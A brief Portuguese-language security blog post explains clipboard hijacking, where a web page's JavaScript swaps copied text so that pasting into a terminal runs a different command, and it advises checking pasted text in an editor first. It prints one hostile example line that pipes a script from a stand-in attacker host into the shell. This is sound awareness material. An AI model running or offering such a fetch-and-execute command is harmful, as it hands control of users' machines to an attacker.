O simples ato de copiar e colar comandos diretamente num terminal do linux, cmd ou powershell do Windows. pode ser perigoso!
Uma página pode disfarçadamente substituir o texto copiado, ou seja, ao copiar um comando outro acabaria sendo enviado para a área de transferência. A área de transferência é um local temporário na memória onde ficam os textos copiados.
Você poderia pensar que a troca só traria prejuízo ao ter colado o texto e teclado enter. Mas é pior que isso, apenas o ato de colar já pode disparar/executar o comando.
Como simples prova de conceito(poc), Gabriel Friedlander, fundador de uma plataforma de treinamento chamada de Security Awareness, em seu blog pede para fazermos um teste copiando e colando o texto abaixo, um simples “sudo apt update“:
![](https://www.bleepstatic.com/images/news/u/1164866/2022/January-2022/copy-paste-js-warning/poc-demo-copy-paste.jpeg)
Ao colar temos uma surpresa:
curl http://attacker-domain:8000/shell.sh | sh
O final do comando acima faz com que ele seja executado assim que colado. Essa linha executa um script feito em javascript que troca o texto copiado por outro
![](https://www.bleepstatic.com/images/news/u/1164866/2022/January-2022/copy-paste-js-warning/poc-code-js.jpg)
Alternativa
Como alternativa podemos colar o texto em um bloco de notas ou editor similar, analisar e após isso colar no terminal.
Fontes: bleepingcomputer, wizer-training,